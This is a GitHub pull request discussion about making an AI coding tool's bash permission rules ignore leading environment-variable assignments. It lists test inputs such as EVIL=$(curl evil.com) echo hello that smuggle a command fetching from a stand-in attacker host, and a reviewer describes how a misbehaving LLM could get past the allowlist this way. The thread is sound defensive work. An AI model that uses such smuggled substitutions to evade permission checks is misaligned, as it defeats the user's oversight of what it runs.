fix: strip env variable assignments from bash permission patterns

[edevil]

Fixes #14110

Summary

• Commands prefixed with environment variables (e.g. GOFLAGS=-mod=vendor go test ./...) were not matching permission rules like "go *": "allow" because the full command text — including the variable assignment — was used for pattern matching.
• Strips leading variable_assignment AST nodes from the command text before adding it to permission patterns, so the actual command name is what gets matched against user-defined rules.
• Assignments containing command substitutions ($(…) or backticks) are not stripped, preserving the full text so it falls through to the catch-all rule. This prevents smuggling arbitrary execution through env var side effects.

How I verified it works

The bash tool uses tree-sitter to parse commands. commandText (from node.text) included env var assignments, but the command array already skipped them. The fix finds the last leading variable_assignment child and slices commandText from its end position, but only if none of the assignments contain command_substitution descendants.

7 new test cases in test/tool/bash.test.ts:

• Plain env var (GOFLAGS=-mod=vendor go test ./...) — stripped
• Env var with redirect (GOFLAGS=-mod=vendor go test ./... 2>&1) — stripped
• Multiple env vars (FOO=bar BAZ=qux echo hello) — stripped
• Piped command with env var — stripped from first command
• always patterns exclude env vars
• $() substitution in env var (EVIL=$(curl evil.com) echo hello) — NOT stripped
• Backtick substitution in env var (EVIL=`curl evil.com` echo hello) — NOT stripped

All 22 tests pass.

[github-actions]

Thanks for your contribution!

This PR doesn't have a linked issue. All PRs must reference an existing issue.

Please:

1. Open an issue describing the bug/feature (if one doesn't exist)
2. Add Fixes #<number> or Closes #<number> to this PR description

See CONTRIBUTING.md for details.

[nickwood]

I believe this change will introduce a considerable security concern. Consider the command:

GOFLAGS=$(malicious command) go test ./...

A misbehaving LLM could therefore run arbitrary commands and circumvent the allowlist

[edevil]

$(malicious command) go test ./...

What about go test ./... $(malicious command) , how is this different?

[nickwood]

A security conscious user can currently allowlist explicit commands (with no wildcards) to prevent this sort of injection. This change would significantly weaken those safeguards

[edevil]

A security conscious user can currently allowlist explicit commands (with no wildcards) to prevent this sort of injection. This change would significantly weaken those safeguards

Yes, if you don't use wildcards I can see this being a downgrade. I updated the PR to check for command substitutions.